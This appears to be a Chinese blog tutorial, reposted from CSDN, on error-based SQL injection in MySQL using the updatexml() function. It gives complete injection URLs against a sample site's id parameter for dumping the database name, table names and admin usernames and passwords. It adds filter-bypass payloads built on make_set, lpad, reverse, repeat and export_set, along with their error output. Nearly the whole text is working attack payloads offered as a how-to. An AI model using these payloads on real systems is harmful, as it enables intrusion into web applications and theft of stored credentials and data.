MySQL updatexml注入

updatexml () 函数

updatexml(XML_document, XPath_string, new_value);
参数 描述
XML_document String格式,为XML文档对象的名称,文中为Doc
XPath_string Xpath格式的字符串
new_value String格式,替换查找到的符合条件的数据

原理

select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1
  • concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出用户
  • 0x7eASCII码,实为~,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符~ eg:

运用

爆库

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆表

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段内容

http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

简单绕过

如:concat等常见的字符串拼接函数被过滤时,我们可以使用冷门的字符串处理函数绕过

make_set()

make_set()用法
pload

select updatexml(1,make_set(3,0x7e,(select user())),1);

其他

类似的函数:lpad()、reverse()、repeat()、export_set()(lpad()、reverse()、repeat()这三个函数使用的前提是所查询的值中,必须至少含有一个特殊字符,否则会漏掉一些数据)。
select updatexml(1,lpad('@',30,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'

mysql> select updatexml(1,repeat((select user()),2),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'

mysql> select updatexml(1,(select user()),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

mysql> select updatexml(1,reverse((select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@toor'

mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'

猜你喜欢

转载自blog.csdn.net/qq_41725312/article/details/83040325